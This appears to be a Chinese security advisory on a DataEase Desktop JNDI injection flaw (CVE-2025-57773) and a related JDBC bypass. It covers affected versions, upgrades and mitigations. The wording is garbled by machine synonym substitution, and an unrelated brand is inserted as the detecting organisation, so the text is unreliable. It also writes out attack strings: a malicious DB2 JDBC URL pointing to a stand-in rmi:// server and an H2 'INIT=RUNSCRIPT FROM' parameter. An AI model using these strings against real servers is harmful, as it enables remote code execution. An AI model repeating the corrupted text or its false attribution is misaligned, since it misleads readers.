【缝隙公告】Dataease JNDI注入缝隙(CVE-2025-57773)

颁布功夫 2025-08-26

一、缝隙概述


缝霞称

DataEase JNDI注入缝隙

CVE   ID

CVE-2025-57773

缝隙类型

RCE

发现功夫

2025-08-26

缝隙评分

8.2

缝隙等级

高危

攻击向量

网络

所需权限

无

利用难度

低

用户交互

不必要

PoC/EXP

已公开

在野利用

未发现


DataEase是一款开源的数据可视化与分析平台，支持多种数据源接入，提供报表、看板、可视化大屏等职能，援手用户实现数据查问、分析与展示。它支持JDBC、API等多种数据衔接方式，合用于BI报表、数据分析及可视化场景。


2025年8月26日，宝运莱官方网站集团VSRC监测到DataEase Desktop存在DataEase JNDI注入缝隙(CVE-2025-57773)。由于DB2数据源参数不足有效校验，攻击者可通过机关恶意JDBC URL（如jdbc:db2://…;clientRerouteServerListJNDIName=rmi://<恶意服务器>），触发JNDI远程加载，并结合commons-collections 4.x与aspectjweaver(<1.9.4)的Gadget链实现反序列化攻击，从而达到肆意文件写入或远程代码执行的主张，最终可能齐全节造服务器，同时Dataease Desktop还存在Dataease JDBC逻辑绕过缝隙(CVE-2025-57772)，由于CalciteProvider#getConnection步骤中存在JDBC类型校验缺点，攻击者可通过伪造数据库类型为oracle，绕过H2驱动有关过滤逻辑，强造法式加载恶意机关的H2 JDBC URL。该URL可直接蕴含危险参数（如INIT=RUNSCRIPT FROM），实现远程加载并执行恶意SQL剧本，导致敏感数据泄露、系统被节造及进一步横向渗入。


二、影响领域


DataEase Desktop ≤ v2.10.11。


三、安全措施


3.1 升级版本


官方已颁布安全补丁，升级至如下版本。

DataEase Desktop ≥v2.10.12。


3.2 一时措施


若是临时无法升级主法式，可通过将AspectJWeaver升级至≥1.9.4来降低CVE-2025-57773的可利用性，同时建议将commons-collections升级至≥4.4以削减潜在风险。


3.3 通用建议


? 定期更新系统补丁，削减系统缝隙，提升服务器的安全性。

? 加强系统和网络的接见节造，批改防火墙战术，关关非必要的利用端口或服务，削减将危险服务（如SSH、RDP等）露出到公网，削减攻击面。

? 使用企业级安全产品，提升企业的网络安全机能。

? 加强系统用户和权限治理，启用多成分认证机造和最幼权限准则，用户和软件权限应维持在最低限度。

? 启用强密码战术并设置为定期批改。


3.4 参考链接


https://nvd.nist.gov/vuln/detail/CVE-2025-57773/

https://github.com/dataease/dataease/security/advisories/GHSA-v37q-vh67-9rqv

https://github.com/dataease/dataease/security/advisories/GHSA-7r8j-6whv-4j5p/